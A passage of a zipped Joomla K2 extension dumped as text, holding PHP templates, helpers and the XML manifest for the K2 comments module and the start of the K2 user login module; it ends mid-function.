            <?php if($commenter->userImage): ?>
            <a class="k2Avatar tcAvatar" rel="author" href="<?php echo $commenter->link; ?>">
                <img src="<?php echo $commenter->userImage; ?>" alt="<?php echo JFilterOutput::cleanText($commenter->userName); ?>" style="width:<?php echo $tcAvatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <?php if($params->get('commenterLink')): ?>
            <a class="tcLink" rel="author" href="<?php echo $commenter->link; ?>">
            <?php endif; ?>

            <span class="tcUsername"><?php echo $commenter->userName; ?></span>

            <?php if($params->get('commenterCommentsCounter')): ?>
            <span class="tcCommentsCounter">(<?php echo $commenter->counter; ?>)</span>
            <?php endif; ?>

            <?php if($params->get('commenterLink')): ?>
            </a>
            <?php endif; ?>

            <?php if($params->get('commenterLatestComment')): ?>
            <a class="tcLatestComment" href="<?php echo $commenter->latestCommentLink; ?>">
                <?php echo $commenter->latestCommentText; ?>
            </a>
            <span class="tcLatestCommentDate"><?php echo JText::_('K2_POSTED_ON'); ?> <?php echo JHTML::_('date', $commenter->latestCommentDate, JText::_('K2_DATE_FORMAT_LC2')); ?></span>
            <?php endif; ?>

            <div class="clr"></div>
        </li>
        <?php endforeach; ?>
        <li class="clearList"></li>
    </ul>
    <?php endif; ?>
</div>
PK!�?�!mod_k2_comments/tmpl/comments.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2LatestCommentsBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">

    <?php if(count($comments)): ?>
    <ul>
        <?php foreach ($comments as $key=>$comment):    ?>
        <li class="<?php echo ($key%2) ? "odd" : "even"; if(count($comments)==$key+1) echo ' lastItem'; ?>">
            <?php if($comment->userImage): ?>
            <a class="k2Avatar lcAvatar" href="<?php echo $comment->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($comment->commentText); ?>">
                <img src="<?php echo $comment->userImage; ?>" alt="<?php echo JFilterOutput::cleanText($comment->userName); ?>" style="width:<?php echo $lcAvatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <?php if($params->get('commentLink')): ?>
            <a href="<?php echo $comment->link; ?>"><span class="lcComment"><?php echo $comment->commentText; ?></span></a>
            <?php else: ?>
            <span class="lcComment"><?php echo $comment->commentText; ?></span>
            <?php endif; ?>

            <?php if($params->get('commenterName')): ?>
            <span class="lcUsername"><?php echo JText::_('K2_WRITTEN_BY'); ?>
                <?php if(isset($comment->userLink)): ?>
                <a rel="author" href="<?php echo $comment->userLink; ?>"><?php echo $comment->userName; ?></a>
                <?php elseif($comment->commentURL): ?>
                <a target="_blank" rel="nofollow" href="<?php echo $comment->commentURL; ?>"><?php echo $comment->userName; ?></a>
                <?php else: ?>
                <?php echo $comment->userName; ?>
                <?php endif; ?>
            </span>
            <?php endif; ?>

            <?php if($params->get('commentDate')): ?>
            <span class="lcCommentDate">
                <?php if($params->get('commentDateFormat') == 'relative'): ?>
                <?php echo $comment->commentDate; ?>
                <?php else: ?>
                <?php echo JText::_('K2_ON'); ?> <?php echo JHTML::_('date', $comment->commentDate, JText::_('K2_DATE_FORMAT_LC2')); ?>
                <?php endif; ?>
            </span>
            <?php endif; ?>

            <div class="clr"></div>

            <?php if($params->get('itemTitle')): ?>
            <span class="lcItemTitle"><a href="<?php echo $comment->itemLink; ?>"><?php echo $comment->title; ?></a></span>
            <?php endif; ?>

            <?php if($params->get('itemCategory')): ?>
            <span class="lcItemCategory">(<a href="<?php echo $comment->catLink; ?>"><?php echo $comment->categoryname; ?></a>)</span>
            <?php endif; ?>

            <div class="clr"></div>
        </li>
        <?php endforeach; ?>
        <li class="clearList"></li>
    </ul>
    <?php endif; ?>

    <?php if($params->get('feed')): ?>
    <div class="k2FeedIcon">
        <a href="<?php echo JRoute::_('index.php?option=com_k2&view=itemlist&format=feed&moduleID='.$module->id); ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?>">
            <span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?></span>
        </a>
        <div class="clr"></div>
    </div>
    <?php endif; ?>

</div>
PK!e��T�%�%mod_k2_comments/helper.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2CommentsHelper
{
    public static function getLatestComments(&$params)
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();
        $config = JFactory::getConfig();

        // Time used for DB queries
        $jnow = JFactory::getDate();
        $now = (K2_JVERSION != '15') ? $jnow->toSql() : $jnow->toMySQL();
        $nullDate = $db->getNullDate();

        // Time used for comment rendering
        $isNow = new JDate();
        if (K2_JVERSION == '30') {
            $tzoffset = new DateTimeZone($app->getCfg('offset'));
            $isNow->setTimezone($tzoffset);
        } else {
            $tzoffset = $config->getValue('config.offset');
            $isNow->setOffset($tzoffset);
        }

        $componentParams = JComponentHelper::getParams('com_k2');

        $limit = $params->get('comments_limit', '5');
        $cid = $params->get('category_id', null);

        // Get ACL
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $userLevels = array_unique($user->getAuthorisedViewLevels());
            $aclCheck = 'IN('.implode(',', $userLevels).')';
        } else {
            $aid = $user->get('aid');
            $aclCheck = '<= '.$user->get('aid');
        }

        // Get language on Joomla 2.5+
        $languageFilter = '';
        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageFilter = $db->Quote($languageTag).", ".$db->Quote('*');
            }
        }

        $query = "SELECT c.*, i.catid, i.title, i.alias, category.alias AS catalias, category.name AS categoryname
            FROM #__k2_comments AS c
            LEFT JOIN #__k2_items AS i ON i.id = c.itemID
            LEFT JOIN #__k2_categories AS category ON category.id = i.catid
            WHERE i.published = 1
                AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                AND i.trash = 0
                AND i.access {$aclCheck}
                AND category.published = 1
                AND category.trash = 0
                AND category.access {$aclCheck}
                AND c.published = 1";

        if ($params->get('catfilter') && !is_null($cid)) {
            if (is_array($cid)) {
                $query .= " AND i.catid IN(".implode(',', $cid).")";
            } else {
                $query .= " AND i.catid = ".(int)$cid;
            }
        }

        if ($languageFilter) {
            $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
        }

        $query .= " GROUP BY i.id ORDER BY c.commentDate DESC";

        $db->setQuery($query, 0, $limit);
        $rows = $db->loadObjectList();

        $pattern = "@\b(https?://)?(([0-9a-zA-Z_!~*'().&=+$%-]+:)?[0-9a-zA-Z_!~*'().&=+$%-]+\@)?(([0-9]{1,3}\.){3}[0-9]{1,3}|([0-9a-zA-Z_!~*'()-]+\.)*([0-9a-zA-Z][0-9a-zA-Z-]{0,61})?[0-9a-zA-Z]\.[a-zA-Z]{2,6})(:[0-9]{1,4})?((/[0-9a-zA-Z_!~*'().;?:\@&=+$,%#-]+)*/?)@";

        $comments = array();

        if (count($rows)) {
            foreach ($rows as $row) {

                // Relative comment date
                if ($params->get('commentDateFormat') == 'relative') {
                    $created = new JDate($row->commentDate);
                    $diff = $isNow->toUnix() - $created->toUnix();
                    $dayDiff = floor($diff / 86400);

                    if ($dayDiff == 0) {
                        if ($diff < 5) {
                            $row->commentDate = JText::_('K2_JUST_NOW');
                        } elseif ($diff < 60) {
                            $row->commentDate = $diff.' '.JText::_('K2_SECONDS_AGO');
                        } elseif ($diff < 120) {
                            $row->commentDate = JText::_('K2_1_MINUTE_AGO');
                        } elseif ($diff < 3600) {
                            $row->commentDate = floor($diff / 60).' '.JText::_('K2_MINUTES_AGO');
                        } elseif ($diff < 7200) {
                            $row->commentDate = JText::_('K2_1_HOUR_AGO');
                        } elseif ($diff < 86400) {
                            $row->commentDate = floor($diff / 3600).' '.JText::_('K2_HOURS_AGO');
                        }
                    }
                }

                // Comment text
                $row->commentText = K2HelperUtilities::wordLimit($row->commentText, $params->get('comments_word_limit'));
                $row->commentText = preg_replace($pattern, '<a target="_blank" rel="nofollow" href="\0">\0</a>', $row->commentText);

                // Comment anchor link
                $row->itemLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($row->itemID.':'.urlencode($row->alias), $row->catid.':'.urlencode($row->catalias))));
                $row->link = $row->itemLink."#comment{$row->id}";

                // Categoty link
                $row->catLink = urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($row->catid.':'.urlencode($row->catalias))));

                // User
                if ($row->userID > 0) {
                    $row->userLink = JRoute::_(K2HelperRoute::getUserRoute($row->userID));
                    $getExistingUser = JFactory::getUser($row->userID);
                    $row->userUsername = $getExistingUser->username;
                } else {
                    $row->userUsername = $row->userName;
                }

                // Switch between commenter name and username
                if ($params->get('commenterName', 1) == 2) {
                    $row->userName = $row->userUsername;
                }

                // User avatar
                $row->userImage = '';
                if ($params->get('commentAvatar')) {
                    $row->userImage = K2HelperUtilities::getAvatar($row->userID, $row->commentEmail, $componentParams->get('commenterImgWidth'));
                }

                // Populate the output array
                $comments[] = $row;
            }

            return $comments;
        }
    }

    public static function getTopCommenters(&$params)
    {
        JTable::addIncludePath(JPATH_ADMINISTRATOR.'/components/com_k2/tables');

        $db = JFactory::getDbo();

        $componentParams = JComponentHelper::getParams('com_k2');

        $limit = $params->get('commenters_limit', '5');

        $query = "SELECT COUNT(id) as counter, userName, userID, commentEmail FROM #__k2_comments WHERE userID > 0 AND published = 1 GROUP BY userID ORDER BY counter DESC";

        $db->setQuery($query, 0, $limit);
        $rows = $db->loadObjectList();

        $pattern = "@\b(https?://)?(([0-9a-zA-Z_!~*'().&=+$%-]+:)?[0-9a-zA-Z_!~*'().&=+$%-]+\@)?(([0-9]{1,3}\.){3}[0-9]{1,3}|([0-9a-zA-Z_!~*'()-]+\.)*([0-9a-zA-Z][0-9a-zA-Z-]{0,61})?[0-9a-zA-Z]\.[a-zA-Z]{2,6})(:[0-9]{1,4})?((/[0-9a-zA-Z_!~*'().;?:\@&=+$,%#-]+)*/?)@";

        $commenters = array();

        if (count($rows)) {
            foreach ($rows as $row) {
                if ($row->counter > 0) {

                    // User link
                    $row->link = JRoute::_(K2HelperRoute::getUserRoute($row->userID));

                    // User name
                    if ($params->get('commenterNameOrUsername', 1) == 2) {
                        $getExistingUser = JFactory::getUser($row->userID);
                        $row->userName = $getExistingUser->username;
                    }

                    // User avatar
                    if ($params->get('commentAvatar')) {
                        $row->userImage = K2HelperUtilities::getAvatar($row->userID, $row->commentEmail, $componentParams->get('commenterImgWidth'));
                    }

                    // User's last comment
                    if ($params->get('commenterLatestComment')) {
                        $query = "SELECT * FROM #__k2_comments WHERE userID = ".(int)$row->userID." AND published = 1 ORDER BY commentDate DESC";

                        $db->setQuery($query, 0, 1);
                        $comment = $db->loadObject();

                        $item = JTable::getInstance('K2Item', 'Table');
                        $item->load($comment->itemID);

                        $category = JTable::getInstance('K2Category', 'Table');
                        $category->load($item->catid);

                        $row->latestCommentText = $comment->commentText;
                        $row->latestCommentText = preg_replace($pattern, '<a target="_blank" rel="nofollow" href="\0">\0</a>', $row->latestCommentText);

                        $row->latestCommentLink = urldecode(JRoute::_(K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($category->alias))))."#comment{$comment->id}";

                        $row->latestCommentDate = $comment->commentDate;
                    }

                    // Populate the output array
                    $commenters[] = $row;
                }
            }

            return $commenters;
        }
    }
}
PK!�#o,,mod_k2_comments/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!`#�|��#mod_k2_comments/mod_k2_comments.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$module_usage = $params->get('module_usage', '0');

$commentAvatarWidthSelect = $params->get('commentAvatarWidthSelect', 'custom');
$commentAvatarWidth = $params->get('commentAvatarWidth', 50);

$commenterAvatarWidthSelect = $params->get('commenterAvatarWidthSelect', 'custom');
$commenterAvatarWidth = $params->get('commenterAvatarWidth', 50);

// Get component params
$componentParams = JComponentHelper::getParams('com_k2');

// User avatar for latest comments
if ($commentAvatarWidthSelect == 'inherit') {
    $lcAvatarWidth = $componentParams->get('commenterImgWidth');
} else {
    $lcAvatarWidth = $commentAvatarWidth;
}

// User avatar for top commenters
if ($commenterAvatarWidthSelect == 'inherit') {
    $tcAvatarWidth = $componentParams->get('commenterImgWidth');
} else {
    $tcAvatarWidth = $commenterAvatarWidth;
}

switch ($module_usage) {
    case '0':
        $comments = modK2CommentsHelper::getLatestComments($params);
        require(JModuleHelper::getLayoutPath('mod_k2_comments', 'comments'));
        break;

    case '1':
        $commenters = modK2CommentsHelper::getTopCommenters($params);
        require(JModuleHelper::getLayoutPath('mod_k2_comments', 'commenters'));
        break;
}
PK!Cъ�44#mod_k2_comments/mod_k2_comments.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Comments</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>MOD_K2_COMMENTS_DESCRIPTION</description>
    <files>
        <filename module="mod_k2_comments">mod_k2_comments.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="module_usage" type="list" default="" label="K2_SELECT_MODULE_FUNCTIONALITY" description="K2_SELECT_MODULE_FUNCTIONALITY_DESC">
                    <option value="0">K2_LATEST_COMMENTS</option>
                    <option value="1">K2_TOP_COMMENTERS</option>
                </field>
                <!-- Latest Comments -->
                <field name="" type="header" default="K2_LATEST_COMMENTS" label="" description=""/>
                <field name="catfilter" type="radio" default="0" label="K2_CATEGORY_FILTER" class="btn-group btn-group-yesno-reverse">
                    <option value="0">K2_ALL</option>
                    <option value="1">K2_SELECT</option>
                </field>
                <field name="category_id" type="categoriesmultiple" default="" label="K2_FILTER_COMMENTS_BY_SELECTED_CATEGORIES" description="K2_SELECT_ONE_ORE_MORE_CATEGORIES_FROM_WHICH_YOU_WANT_TO_FILTER_THEIR_COMMENTS_SELECT_NONE_TO_FETCH_COMMENTS_FROM_ALL_CATEGORIES"/>
                <field name="comments_limit" type="text" size="4" default="5" label="K2_COMMENTS_LIST_LIMIT" description=""/>
                <field name="comments_word_limit" type="text" size="4" default="10" label="K2_COMMENT_WORD_LIMIT" description="K2_IF_WORD_LIMIT_IS_ENABLED_ANY_HTML_TAGS_WILL_BE_STRIPPED_OFF_TO_PREVENT_THE_PAGE_MARKUP_FROM_BREAKING"/>
                <field name="commenterName" type="list" default="1" label="K2_COMMENTER_IDENTIFIER" description="">
                    <option value="0">K2_DONTSHOW</option>
                    <option value="1">K2_SHOW_NAME</option>
                    <option value="2">K2_SHOW_USERNAME_IFEXISTS</option>
                </field>
                <field name="commentAvatar" type="radio" default="1" label="K2_COMMENTER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commentAvatarWidthSelect" type="list" default="custom" label="K2_COMMENTER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="commentAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_COMMENTER_AVATAR_IN_PX" description=""/>
                <field name="commentDate" type="radio" default="1" label="K2_COMMENT_DATE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commentDateFormat" type="list" default="absolute" label="K2_COMMENT_DATE_FORMAT" description="">
                    <option value="absolute">K2_ABSOLUTE_EG_POSTED_1225_THU_JULY_30TH</option>
                    <option value="relative">K2_RELATIVE_EG_POSTED_2_HOURS_AGO</option>
                </field>
                <field name="commentLink" type="radio" default="1" label="K2_COMMENT_LINK" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemTitle" type="radio" default="1" label="K2_ITEM_TITLE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="itemCategory" type="radio" default="1" label="K2_ITEM_CATEGORY" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="feed" type="radio" default="1" label="K2_FEED_LINK" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <!-- Top Commenters -->
                <field name="" type="header" default="K2_TOP_COMMENTERS" label="" description=""/>
                <field name="commenters_limit" type="text" size="4" default="5" label="K2_COMMENTERS_LIST_LIMIT" description=""/>
                <field name="commenterNameOrUsername" type="list" default="1" label="K2_COMMENTER_IDENTIFIER" description="">
                    <option value="1">K2_SHOW_NAME</option>
                    <option value="2">K2_SHOW_USERNAME</option>
                </field>
                <field name="commenterAvatar" type="radio" default="1" label="K2_COMMENTER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commenterAvatarWidthSelect" type="list" default="custom" label="K2_COMMENTER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="commenterAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_COMMENTER_AVATAR_IN_PX" description=""/>
                <field name="commenterLink" type="radio" default="1" label="K2_COMMENTER_LINK_TO_USER_PAGE" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commenterCommentsCounter" type="radio" default="1" label="K2_COMMENTS_COUNTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="commenterLatestComment" type="radio" default="1" label="K2_LATEST_COMMENT_FROM_EACH_COMMENTER" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>
PK!�<Q-�
�
mod_k2_user/tmpl/login.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2LoginBlock<?php if ($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <form action="<?php echo JRoute::_('index.php', true, $params->get('usesecure')); ?>" method="post" name="login" id="form-login">
        <?php if ($params->get('pretext')): ?>
        <p class="preText"><?php echo $params->get('pretext'); ?></p>
        <?php endif; ?>

        <fieldset class="input">
            <p id="form-login-username">
                <label for="modlgn_username"><?php echo JText::_('K2_USERNAME') ?></label>
                <input id="modlgn_username" type="text" name="username" class="inputbox" size="18" />
            </p>
            <p id="form-login-password">
                <label for="modlgn_passwd"><?php echo JText::_('K2_PASSWORD') ?></label>
                <input id="modlgn_passwd" type="password" name="<?php echo $passwordFieldName; ?>" class="inputbox" size="18" />
            </p>
            <?php if (JPluginHelper::isEnabled('system', 'remember')): ?>
            <p id="form-login-remember">
                <label for="modlgn_remember"><?php echo JText::_('K2_REMEMBER_ME') ?></label>
                <input id="modlgn_remember" type="checkbox" name="remember" class="inputbox" value="yes" />
            </p>
            <?php endif; ?>
            <input type="submit" name="Submit" class="button" value="<?php echo JText::_('K2_LOGIN') ?>" />
        </fieldset>

        <ul>
            <li><a href="<?php echo $resetLink; ?>"><?php echo JText::_('K2_FORGOT_YOUR_PASSWORD'); ?></a></li>
            <li><a href="<?php echo $remindLink ?>"><?php echo JText::_('K2_FORGOT_YOUR_USERNAME'); ?></a></li>
            <?php if ($usersConfig->get('allowUserRegistration')): ?>
            <li><a href="<?php echo $registrationLink; ?>"><?php echo JText::_('K2_CREATE_AN_ACCOUNT'); ?></a></li>
            <?php endif; ?>
        </ul>

        <?php if ($params->get('posttext')): ?>
        <p class="postText"><?php echo $params->get('posttext'); ?></p>
        <?php endif; ?>

        <input type="hidden" name="option" value="<?php echo $option; ?>" />
        <input type="hidden" name="task" value="<?php echo $task; ?>" />
        <input type="hidden" name="return" value="<?php echo $return; ?>" />
        <?php echo JHTML::_( 'form.token' ); ?>
    </form>
</div>
PK!��d�aamod_k2_user/tmpl/userblock.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2UserBlock<?php if ($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php if ($userGreetingText): ?>
    <p class="ubGreeting"><?php echo $userGreetingText; ?></p>
    <?php endif; ?>

    <div class="k2UserBlockDetails">
        <?php if ($params->get('userAvatar')): ?>
        <a class="k2Avatar ubAvatar" href="<?php echo JRoute::_(K2HelperRoute::getUserRoute($user->id)); ?>" title="<?php echo JText::_('K2_MY_PAGE'); ?>">
            <img src="<?php echo K2HelperUtilities::getAvatar($user->id, $user->email); ?>" alt="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
        </a>
        <?php endif; ?>
        <span class="ubName"><?php echo $user->name; ?></span>
        <span class="ubCommentsCount"><?php echo JText::_('K2_YOU_HAVE'); ?> <b><?php echo $user->numOfComments; ?></b> <?php if ($user->numOfComments==1) echo JText::_('K2_PUBLISHED_COMMENT'); else echo JText::_('K2_PUBLISHED_COMMENTS'); ?></span>
        <div class="clr"></div>
    </div>

    <ul class="k2UserBlockActions">
        <?php if (isset($addItemLink)): ?>
        <li>
            <a data-k2-modal="edit" href="<?php echo $addItemLink; ?>"><?php echo JText::_('K2_ADD_NEW_ITEM'); ?></a>
        </li>
        <?php endif; ?>
        <li>
            <a href="<?php echo $viewProfileLink; ?>"><?php echo JText::_('K2_MY_PAGE'); ?></a>
        </li>
        <li>
            <a href="<?php echo $editProfileLink; ?>"><?php echo JText::_('K2_MY_ACCOUNT'); ?></a>
        </li>
        <?php if ($K2CommentsEnabled): ?>
        <li>
            <a data-k2-modal="iframe" href="<?php echo $editCommentsLink; ?>"><?php echo JText::_('K2_MODERATE_COMMENTS_TO_MY_PUBLISHED_ITEMS'); ?></a>
        </li>
        <?php endif; ?>
    </ul>

    <ul class="k2UserBlockRenderedMenu">
        <?php $level = 1; foreach($menu as $key => $link): $level++; ?>
        <li class="linkItemId<?php echo $link->id; ?>">
            <?php if ($link->type=='url' && $link->browserNav==0): ?>
            <a href="<?php echo $link->route; ?>"><?php echo $link->name; ?></a>
            <?php elseif (strpos($link->link,'option=com_k2&view=item&layout=itemform') || $link->browserNav==2): ?>
            <a data-k2-modal="edit" href="<?php echo $link->route; ?>"><?php echo $link->name; ?></a>
            <?php else: ?>
            <a href="<?php echo $link->route; ?>"<?php if ($link->browserNav==1) echo ' target="_blank"'; ?>><?php echo $link->name; ?></a>
            <?php endif; ?>

            <?php if (isset($menu[$key+1]) && $menu[$key]->level < $menu[$key+1]->level): ?>
            <ul>
            <?php endif; ?>

            <?php if (isset($menu[$key+1]) && $menu[$key]->level > $menu[$key+1]->level): ?>
            <?php echo str_repeat('</li></ul>', $menu[$key]->level - $menu[$key+1]->level); ?>
            <?php endif; ?>

            <?php if (isset($menu[$key+1]) && $menu[$key]->level == $menu[$key+1]->level): ?>
        </li>
        <?php endif; ?>
        <?php endforeach; ?>
    </ul>

    <form action="<?php echo JURI::root(true); ?>/index.php" method="post">
        <input type="submit" name="Submit" class="button ubLogout" value="<?php echo JText::_('K2_LOGOUT'); ?>" />
        <input type="hidden" name="option" value="<?php echo $option; ?>" />
        <input type="hidden" name="task" value="<?php echo $task; ?>" />
        <input type="hidden" name="return" value="<?php echo $return; ?>" />
        <?php echo JHTML::_( 'form.token' ); ?>
    </form>
</div>
PK!�#o,,mod_k2_user/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!n�&�mod_k2_user/helper.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */
// no direct access
defined('_JEXEC') or die;

JLoader::register('K2HelperRoute', JPATH_SITE.'/components/com_k2/helpers/route.php');
JLoader::register('K2HelperUtilities', JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2UserHelper
{
    public static function getReturnURL($params, $type)
    {
        if ($itemid = $params->get($type)) {
            $application = JFactory::getApplication();
            $menu = $application->getMenu();
            $item = $menu->getItem($itemid);
            if (K2_JVERSION != '15') {
                $url = 'index.php?Itemid=' . $item->id;
            } else {
                $url = JRoute::_($item->link.'&Itemid='.$itemid, false);
            }
        } else {
            // stay on the same page
            $uri = JFactory::getURI();
            $url = $uri->toString(array('path', 'query', 'fragment'));
        }

        return base64_encode($url);
    }

    public static function getType()
    {
        $user = JFactory::getUser();
        return (!$user->get('guest')) ? 'logout' : 'login';
    }

    public static function getProfile(&$params)
    {
        $user = JFactory::getUser();
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_users WHERE userID=".(int)$user->id;
        $db->setQuery($query, 0, 1);
        $profile = $db->loadObject();

        if ($profile) {
            if ($profile->image != '') {
                $profile->avatar = JURI::root().'media/k2/users/'.$profile->image;
            }
            require_once(JPATH_SITE.'/components/com_k2/helpers/permissions.php');
            if (JRequest::getCmd('option') != 'com_k2') {
                K2HelperPermissions::setPermissions();
            }
            if (K2HelperPermissions::canAddItem()) {
                $profile->addLink = JRoute::_('index.php?option=com_k2&view=item&task=add&tmpl=component&context=modalselector');
            }
            return $profile;
        }
    }

    public static function countUserComments($userID)
    {
        $db = JFactory::getDbo();
        $query = "SELECT COUNT(*) FROM #__k2_comments WHERE userID=".(int)$userID." AND published=1";
        $db->setQuery($query);
        $result = $db->loadResult();
        return $result;
    }

    public static function getMenu($params)
    {
        $items = array();
        $children = array();
        if ($params->get('menu')) {
            $menu = JSite::getMenu();
            $items = $menu->getItems('menutype', $params->get('menu'));
        }
        foreach ($items as $item) {
            if (K2_JVERSION != '15') {
                $item->name = $item->title;
                $item->parent = $item->parent_id;
            }
            $index = $item->parent;
            $list = @$children[$index] ? $children[$index] : array();
            array_push($list, $item);
            $children[$index] = $list;
        }
        if (K2_JVERSION != '15') {
            $items = JHTML::_('menu.treerecurse', 1, '', array(), $children, 9999, 0, 0);
        } else {
            $items = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
        }
        $links = array();
        foreach ($items as $item) {
            if (K2_JVERSION == '15') {
                $item->level = $item->sublevel;
                switch ($item->type) {
                    case 'separator':
                        continue;
                        break;
                    case 'url':
                        if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
                            $item->url = $item->link.'&amp;Itemid='.$item->id;
